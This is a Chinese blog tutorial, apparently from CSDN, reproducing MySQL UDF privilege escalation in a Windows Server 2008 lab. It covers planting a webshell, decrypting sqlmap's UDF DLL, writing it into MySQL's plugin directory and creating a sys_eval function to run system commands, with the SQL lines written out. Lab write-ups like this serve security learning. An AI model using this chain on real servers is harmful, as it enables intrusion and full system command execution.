MySQL_UDF提权漏洞复现

 「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

 操作系统: Windows server 2008

Web环境: IIS 7.0 + MySQL 5.5.22

原理

UDF是mysql的一个接口,用来创建自定义函数(包括系统命令),但需要dll(程序扩展文件)作为udf的执行库

使用UDF提权需要满足一些条件

  1. mysql服务以system权限运行
  2. mysql开启远程连接,和文件读写功能
  3. 知道mysql的管理员账号和密码

环境准备

上传一句话木马并使用中国菜刀连接

上传木马文件到网站根目录( 默认是C:\inetpub\wwwroot )下,内容为一句话木马

使用中国菜刀连接木马文件

使用中国菜刀上传udf.dll文件

Windows版的SQLmap工具中提供了UDF提权所需的dll文件,但需要解密才能使用

将dll文件复制到SQLmap的extra/cloak目录下

使用cmd进入cloak.py所在目录,使用cloak.py解密文件( 需要python环境 )

python /cloak.py -d -i lib_mysqludf_sys.dll_

使用中国菜刀的文件管理功能将dll文件上传到c:/windows/temp目录下,该目录默认具有上传和执行权限

将文件移动到mysql的/lib/plugin目录下

使用物理机远程连接目标主机的mysql

获取MySQL的安装路径

show variables like '%plugin%'

利用MySQL的文件读写功能,将dll文件从c:/windows/temp目录移动到MySQL的安装路径下,dll文件只有在此目录下才能发挥作用

select load_file("c:/windows/temp/lib_mysqludf_sys.dll") into dumpfile "C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/mysqludf.dll";

创建自定义函数

利用dll文件创建能执行系统命令的函数

create function sys_eval returns string soname "mysqludf.dll";

使用自定义函数执行系统命令

select sys_eval("whoami");

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值